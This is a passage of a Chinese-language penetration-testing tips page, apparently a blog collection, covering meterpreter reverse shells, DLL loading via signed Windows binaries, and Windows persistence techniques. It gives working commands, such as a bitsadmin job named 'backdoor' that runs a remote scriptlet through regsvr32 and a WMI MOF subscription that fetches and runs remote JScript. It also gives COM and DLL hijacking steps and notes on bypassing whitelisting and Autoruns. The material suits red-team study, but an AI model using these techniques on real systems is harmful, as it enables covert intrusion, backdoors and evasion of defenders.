&lt;h4 id="toc_43" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：通过cpl反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;代码见https://raw.githubusercontent.com/3gstudent/test/master/meterpreter_reverse_tcp.cpp&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;生成dll，重命名为cpl，双击执行&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_44" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：通过powershell反弹meterpreter&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://raw.githubusercontent.com/3gstudent/Code-Execution-and-Process-Injection/master/2-CodeExecution-Meterpreter.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_45" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 29. Windows系统加载dll的方法&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_46" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：rundll32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;rundll32 a.dll,EntryPoint&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;&lt;h4 id="toc_47" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：regsvr32&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;regsvr32 a.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_48" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：odbcconf&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;odbcconf.exe /a {regsvr c:\test\odbcconf.dll}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.3(Use-odbcconf-to-load-dll-&amp;-Get-Exports-&amp;-ETW-USB-Keylogger)/"&gt;《Study Notes Weekly No.3(Use odbcconf to load dll &amp;amp; Get-Exports &amp;amp; ETW USB Keylogger)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_49" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Tracker&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;Tracker.exe /d test.dll /c svchost.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;tracker.exe包含微软数字签名，可绕过应用程序白名单的限制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-Weekly-No.4(Use-tracker-to-load-dll-&amp;-Use-csi-to-bypass-UMCI-&amp;-Execute-C-from-XSLT-file)/"&gt;《Study Notes Weekly No.4(Use tracker to load dll &amp;amp; Use csi to bypass UMCI &amp;amp; Execute C# from XSLT file)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_50" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Excel.Application object&amp;#39;s RegisterXLL() method&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;前提：已安装Microsoft Office软件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;1.rundll32&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\test\\messagebox.dll');this.close();&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;2.js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var excel = new ActiveXObject("Excel.Application");
excel.RegisterXLL("C:\\test\\messagebox.dll");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;3.powershell&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application"))
$excel.RegisterXLL("C:\test\messagebox.dll")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object's-RegisterXLL()-method-to-load-dll/"&gt;《Use Excel.Application object&amp;#39;s RegisterXLL() method to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_51" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：xwizard.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;复制%windir%\system32\下的xwizard.exe至新目录C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将msg.dll重命名为xwizards.dll，保存在C:\x&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;命令行执行：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;xwizard processXMLFile 1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;成功加载C:\x\xwizards.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-xwizard.exe-to-load-dll/"&gt;《Use xwizard.exe to load dll》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_52" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 30. Windows Persistence&lt;/span&gt;&lt;/h3&gt;
&lt;h4 id="toc_53" class="h16"&gt;&lt;span class="span_for_h"&gt;方法1：bitsadmin&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
bitsadmin /Resume backdoor&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Use bitsadmin to maintain persistence and bypass Autoruns》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_54" class="h16"&gt;&lt;span class="span_for_h"&gt;方法2：mof&lt;/span&gt;&lt;/h4&gt;

&lt;pre&gt;&lt;code&gt;pragma namespace("\\\\.\\root\\subscription")    
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP1";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 1";
    QueryLanguage = "WQL";
};    
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consP1";
    ScriptingEngine = "JScript";
    ScriptText = "GetObject(\"script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test\")";
};    
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;mofcomp test.mof&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《WSC、JSRAT and WMI Backdoor》&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_55" class="h16"&gt;&lt;span class="span_for_h"&gt;方法3：wmi&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每隔60秒执行一次notepad.exe&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Study-Notes-of-WMI-Persistence-using-wmic.exe/"&gt;《Study Notes of WMI Persistence using wmic.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_56" class="h16"&gt;&lt;span class="span_for_h"&gt;方法4：Userland Persistence With Scheduled Tasks&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;劫持计划任务UserTask，在系统启动时加载testmsg.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;操作如下：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在HKEY_CURRENT_USER\Software\Classes\CLSID\下新建项{58fb76b9-ac85-4e55-ac04-427593b1d060}&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;接着新建项InprocServer32&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;值设定为&lt;code&gt;c:\test\testmsg.dll&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;testmsg.dll包含如下导出函数：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;DllCanUnloadNow&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllGetClassObject&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;DllRegisterServer&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;DllUnregisterServer&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;等待用户重新登录&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/"&gt;《Userland registry hijacking》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_57" class="h16"&gt;&lt;span class="span_for_h"&gt;方法5：Netsh&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper DLL需要包含导出函数InitHelperDll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;netsh add helper c:\test\netshtest.dll&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;helper dll添加成功后，每次调用netsh，均会加载c:\test\netshtest.dll&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Netsh-persistence/"&gt;《Netsh persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_58" class="h16"&gt;&lt;span class="span_for_h"&gt;方法6：Shim&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用方式：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;InjectDll

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectShortcut

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;RedirectEXE

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Compatibility-Shims/"&gt;《渗透测试中的Application Compatibility Shims》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_59" class="h16"&gt;&lt;span class="span_for_h"&gt;方法7：dll劫持&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Rattler自动枚举进程，检测是否存在可用dll劫持利用的进程&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/DLL%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E%E8%87%AA%E5%8A%A8%E5%8C%96%E8%AF%86%E5%88%AB%E5%B7%A5%E5%85%B7Rattler%E6%B5%8B%E8%AF%95/"&gt;《DLL劫持漏洞自动化识别工具Rattler测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_60" class="h16"&gt;&lt;span class="span_for_h"&gt;方法8：DoubleAgent&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;编写自定义Verifier provider DLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过Application Verifier进行安装&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;注入到目标进程执行payload&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;每当目标进程启动，均会执行payload，相当于一个自启动的方式&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84Application-Verifier(DoubleAgent%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D)/"&gt;《渗透测试中的Application Verifier(DoubleAgent利用介绍)》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_61" class="h16"&gt;&lt;span class="span_for_h"&gt;方法9：waitfor.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不支持自启动，但可远程主动激活，后台进程显示为waitfor.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/"&gt;《Use Waitfor.exe to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_62" class="h16"&gt;&lt;span class="span_for_h"&gt;方法10：AppDomainManager&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;针对.Net程序，通过修改AppDomainManager能够劫持.Net程序的启动过程。 如果劫持了系统常见.Net程序如powershell.exe的启动过程，向其添加payload，就能实现一种被动的后门触发机制&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-AppDomainManager-to-maintain-persistence/"&gt;《Use AppDomainManager to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_63" class="h16"&gt;&lt;span class="span_for_h"&gt;方法11：Office加载项&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果系统已安装office软件，可通过配置Office加载项实现劫持，作为被动后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;常用利用方式：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Word WLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel XLL&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Excel VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;PowerPoint VBA add-ins&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/Office-Persistence&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/"&gt;《Use Office to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/"&gt;《Office Persistence on x64 operating system》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_64" class="h16"&gt;&lt;span class="span_for_h"&gt;方法12：CLR&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;无需管理员权限的后门，并能够劫持所有.Net程序&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC:https://github.com/3gstudent/CLR-Injection&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-CLR-to-maintain-persistence/"&gt;《Use CLR to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_65" class="h16"&gt;&lt;span class="span_for_h"&gt;方法13：msdtc&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用MSDTC服务加载dll，实现自启动，并绕过Autoruns对启动项的检测&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-msdtc-to-maintain-persistence/"&gt;《Use msdtc to maintain persistence》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_66" class="h16"&gt;&lt;span class="span_for_h"&gt;方法14：Hijack CAccPropServicesClass and MMDeviceEnumerator&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;POC：https://github.com/3gstudent/COM-Object-hijacking&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-CAccPropServicesClass-and-MMDeviceEnumerator/"&gt;《Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_67" class="h16"&gt;&lt;span class="span_for_h"&gt;方法15：Hijack explorer.exe&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;不需要重启系统，不需要管理员权限&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-explorer.exe/"&gt;《Use COM Object hijacking to maintain persistence——Hijack explorer.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_68" class="h16"&gt;&lt;span class="span_for_h"&gt;方法16：Windows FAX DLL Injection&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过DLL劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Explorer.exe在启动时会加载&lt;code&gt;c：\Windows\System32\fxsst.dll&lt;/code&gt;(服务默认开启，用于传真服务)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;将payload.dll保存在c：\Windows\fxsst.dll，能够实现dll劫持，劫持Explorer.exe对fxsst.dll的加载&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_69" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：劫持Office软件的特定功能&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过dll劫持,在Office软件执行特定功能时触发后门&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91DLL%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/"&gt;《利用BDF向DLL文件植入后门》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h4 id="toc_70" class="h16"&gt;&lt;span class="span_for_h"&gt;方法17：特殊注册表键值&lt;/span&gt;&lt;/h4&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;在注册表启动项创建特殊名称的注册表键值，用户正常情况下无法读取(使用Win32 API)，但系统能够执行(使用Native API)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E5%88%9B%E5%BB%BA/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的创建》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%9A%90%E8%97%8F-%E6%B3%A8%E5%86%8C%E8%A1%A8%E7%9A%84%E6%9B%B4%E5%A4%9A%E6%B5%8B%E8%AF%95/"&gt;《渗透技巧——&amp;quot;隐藏&amp;quot;注册表的更多测试》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
